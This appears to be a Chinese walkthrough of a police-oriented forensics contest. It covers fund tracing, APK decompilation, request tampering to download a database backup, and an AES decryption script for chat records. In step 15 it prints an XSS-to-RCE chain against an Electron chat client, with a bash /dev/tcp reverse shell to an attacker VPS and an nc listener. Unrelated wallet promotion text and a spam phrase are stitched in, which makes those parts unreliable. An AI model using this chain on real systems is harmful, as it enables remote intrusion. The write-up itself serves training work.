imToken 是一款全球领先的区块链数字资产管理工具[ZB],帮助你安全管理BTC, ETH, ATOM, EOS, TRX, CKB, BCH, LTC, DOT, KSM, FIL, XTZ 资产,同时支持去中心化币币兑换功能 ...
原文链接:
本次比赛面向公安干警开放,可通过以下链接激活并使用:
无糖浏览器—你的办案助手,下载地址:
下载后注册并使用邀请码[ ]即可快速激活完整权限。
所有答案均动态生成,本文仅提供思路和分析,请勿直接提交答案。
比赛名称
1. 资金初步探索
分析受害人资金收到的主卡的转账记录,统计出收到受害人资金最多的副卡账户。
据讯问笔录显示,受害人利用南河商行卡号在模拟验证平台上进行验证。
转账金额为人民币2024年7月16日12点23分到该账户,户名是郑黑乾,为受害人直接转账的一级卡,其下属卡中接受受害人资金最多的账户必须经过验证,转账时间在2024年7月16日12点23分以后的账户,借入金额最大的卡号必须打上借贷标记。
2. 祝你好运
无意中从其中一张银行卡中找到了线索,6226*******。(用崇明查一下,也许你会有意想不到的收获。请使用搜索结果中涉及的群ID作为答案)
使用崇明搜索银行卡并关联tg消息记录
群组信息
3. 黑话挑战
请启动以下网站,帮助林峰通过入群验证
回答代码后进入聊天频道查看flag。
4. 变换位置
分析此二维码,并使用二维码中包含的链接末尾的路径作为答案
使用素材在线解码并获取答案
5.捉迷藏
分析此APP,锁定其API接口地址的获取地址,获取该地址的TOKEN作为答案
打开二维码解析之后,得到了一个聊天软件的下载地址。
下载apk进行分析,抓取网络请求,可以尝试一下抓包测试工具
根据官方文档进行配置
本问题建议使用 9 64版本
执行数据包捕获测试
6. 新猫
找到新的API请求地址,并将地址末尾的路径作为答案
该请求来自OSS网站,请求的文件为.txt,响应数据为文件已过期。
猜测根据日期模式,修改请求文件为当前日期.txt
响应数据是一串代码:VVhQ=
看起来像是编码。删除=后面的内容,然后解码即可得到答案。
7. 隐藏的钥匙
解压APPimToken,寻找新的线索,例如SDK。
根据提示解压apk,使用jadx反编译apk
查看资源文件.xml
使用的推送是com...,答案SDK是
8.拔胡萝卜
结合模拟验证,向星光推送运营公司进行验证,以开发者联系邮箱作为答案
使用证书验证平台验证证书
获取开发者电子邮件地址
9.打开门
分析新的API请求地址,找到后端访问地址并获取登录权限。
通过修改apk请求包获取新的API请求地址
获取到的后台访问地址
网页保存了用户名和密码,但测试登录失败,根据问题提示和验证信息判断用户名和密码可能为/,测试登录成功,并在网站首页获取flag。
10. 人太多了
上次登录 IP 地址为 67.98.23.12 的聊天用户数
您可以在聊天用户管理中查看登录IP
发现有导出功能,可以导出来方便分析
发现出口数量有限
在开发配置中,可以备份,但是不能下载备份的数据。
尝试抓包修改为下载聊天用户下载的备份数据
仍然使用Tango抓包测试工具
修改请求文件地址为/-25.sql,发布后文件即可正常下载
修改后缀为.sql,方便分析
可以使用文本编辑工具或者打开mysql导入sql进行分析
我直接使用Open搜索67.98.23.12,得到115条结果
11. 数据拖拉机
帮助林枫找到获取聊天消息内容的方法,并以聊天消息中的FLAG作为答案
在上一个问题中,我们获取了完整的数据库备份文件,并将其导入到本地数据库进行分析。
我使用小皮面板启动了一个mysql,用来分析
在表格里找到了聊天记录,但是是加密的
如果需要解密,需要知道解密逻辑
查看apk com...model的源代码。
public final String getContent(Context context) {
Intrinsics.checkNotNullParameter(context, "context");
return AesUtils.Companion.decrypt(context, this.encodeContent);
解密需要使用 com...utils。
public final String decrypt(Context context, String encodeContent) {
Intrinsics.checkNotNullParameter(context, "context");
Intrinsics.checkNotNullParameter(encodeContent, "encodeContent");
String key = getKey(context);
String substring = key.substring(0, 16);
Intrinsics.checkNotNullExpressionValue(substring, "substring(...)");
byte[] bytes = substring.getBytes(Charsets.UTF_8);
Intrinsics.checkNotNullExpressionValue(bytes, "getBytes(...)");
String substring2 = key.substring(16, key.length());
Intrinsics.checkNotNullExpressionValue(substring2, "substring(...)");
byte[] bytes2 = substring2.getBytes(Charsets.UTF_8);
Intrinsics.checkNotNullExpressionValue(bytes2, "getBytes(...)");
IvParameterSpec ivParameterSpec = new IvParameterSpec(bytes2);
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(2, new SecretKeySpec(bytes, "AES"), ivParameterSpec);
byte[] doFinal = cipher.doFinal(Base64.getDecoder().decode(encodeContent));
Intrinsics.checkNotNull(doFinal);
return new String(doFinal, Charsets.UTF_8);
}
可以看到加密方法是AES/CBC/,key和iv分别是密钥的前16位和后16位。
在 .xml 中查找 com...key。
导出表并编写脚本进行解密
import pandas as pd
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from base64 import b64decode
# 假设你的密钥和IV是这样的(实际使用时需要替换成你的密钥和IV)
key = b'Y3OJ6XUHG8WLX0CM' # 密钥长度应该为16(AES-128),24(AES-192),或32字节(AES-256)
iv = b'A8YD7MT13GCFMYA1' # IV长度应为16字节
# 加载表格数据
def load_data(filepath):
return pd.read_csv(filepath)
# 解密函数
def decrypt_message(encrypted_message):
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_padded = cipher.decrypt(b64decode(encrypted_message))
try:
return unpad(decrypted_padded, AES.block_size).decode('utf-8')
except (ValueError, UnicodeDecodeError):
return "Decryption failed"
# 解密表格中的message列
def decrypt_messages(df):
df['message'] = df['message'].apply(decrypt_message)
return df
# 保存解密后的表格到新的文件
def save_decrypted_data(df, filepath):
df.to_csv(filepath, index=False)
# 主函数
def main():
filepath = 'F:\桌面\message.csv' # 替换成你的输入文件路径
output_filepath = 'F:\桌面\message2.csv' # 替换成你想要保存的输出文件路径
# 加载数据
df = load_data(filepath)
# 解密并保存
decrypted_df = decrypt_messages(df)
save_decrypted_data(decrypted_df, output_filepath)
print("Decryption complete and data saved.")
if __name__ == "__main__":
main()
获取解密的聊天记录,得到答案
12.动物园
分析群聊中各个角色的身份,找出负有金融和洗钱责任人员的用户名。
根据聊天记录显示,负责洗钱的用户代号为,对应22094,对应的用户名是
13.黑蛇变白
根据群内最新消息,确定黑蛇死亡所在城市及区名
使用和Data 同样的方法重新抓包,修改获取备份文件的请求,导入MySQL后按照上一个问题的步骤就可以解密聊天记录了。
修改请求包下载图片,得到响应包后直接展示图片
图片上的信息是沃尔玛旁边有一个KTV,还有一个雕塑,雕塑很有特色,试试在百度图像识别里只抓取雕塑。
14. 给秘密增添神秘感
分析并寻找图片内容中可能的线索。
下载文件,应该是黑蛇的死亡报告,里面还有黑蛇的PC图
从 D 盘获取钱包密钥
C盘桌面照片里隐藏着一段文字
chats.txt包含聊天软件客户端的下载地址 c\users\\\\包含聊天客户端的应用数据 c\users\\\\\Local \\.log包含登录日志,包括用户名、密码和服务器地址
15.潜入
尝试登录黑蛇聊天软件,默默获取浣熊聊天客户端权限
使用上一个问题获得的信息,登录客户端
聊天需要获取shell,而黑蛇已经死了,无法直接发消息,唯一的入手方式就是改昵称,利用xss进行攻击,首先分析客户端,在软件目录下找到app.asar进行解包。
可以发现,可以参考这篇文章来了解攻击思路
基于,由于的特点,它可以轻松实现RCE。
那么对于这种事情,第一种就是XSS和语法的结合,比如蚁剑和Clash中出现的 RCE就是功能点XSS和RCE的结合。
有些情况下如果为False,就不能直接使用原生语法RCE,这种情况下如果为False(默认为False),可以去.js中寻找自定义API来查找漏洞。
请参阅下面的解释。
检查main.js发现都是false
因此可以使用.js进行xss攻击
可以看到..(1818,'calc.exe');然后就可以执行命令了
可以在本地客户端调试,发现计算器可以正常弹出
找到利用的地方之后就开始构建xss语句im钱包怎么隐藏转账记录,经过测试,我修改了昵称对来进行屏蔽,并且限制了昵称对的长度,所以这里只需要引用攻击js就可以了。
<object type="text/html" data="http://ip:port1/test.htm">object>
到vps里新建一个test.htm,打开port1
-m http.端口 1
允许聊天服务器访问
test.htm的内容是
<script>this.parent.chatClientApi.execCommand(1818, 'bash -c "/bin/bash -i >&/dev/tcp/ip/port2 0>&1"')script>
然后在vps上监听port2
nc -lvn 端口2
可以看到已经获取到了shell
看看那里有什么
在 .js 中查找标志
16.凶手是谁?
案件信息已全部提供,请找出本案所有犯罪嫌疑人的身份证号作为答案。
首先检查服务器中是否有身份信息,在/home/boss中找到sfz.png
sfz.png > sfz.txt
勾选sfz.txt然后粘贴到txt文件中并传输。
我拿到了一张犯罪嫌疑人的身份证,上题的档案里有黑蛇的死亡报告,里面有黑蛇的身份证,还缺一张身份证,我用一个刁钻的方法,把给出的信息里的所有身份证都测试一遍,最后发现是王吉。
那么,为什么说王姬是嫌疑人呢?我觉得有以下几个原因:
王吉就职于深圳市星光科讯信息技术有限公司,所有证书均由王吉提供,即使服务器更换,王吉仍可以提供。
今天王吉打来电话,不过并没有询问案情,只是说从公司的管理数据里找到了新的后台地址,或许可以帮忙。
“你去看看这个新地址,我想你也找不到什么线索,我准备回深圳,那里的工作不能再耽搁了。”
“王吉,我还在想办法,等有结果了再告诉你。”
“我相信你,但我可能有自己的主意。我现在该走了。”
“一路顺风。”
王姬离开的时间恰好与黑蛇死亡的时间相吻合,王姬有作案动机。
如需进一步检索,可以调查王吉的出行轨迹和购买物品,查看其是否购买了氟化钠。
欢迎留言区讨论
点击下载
发表评论:
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。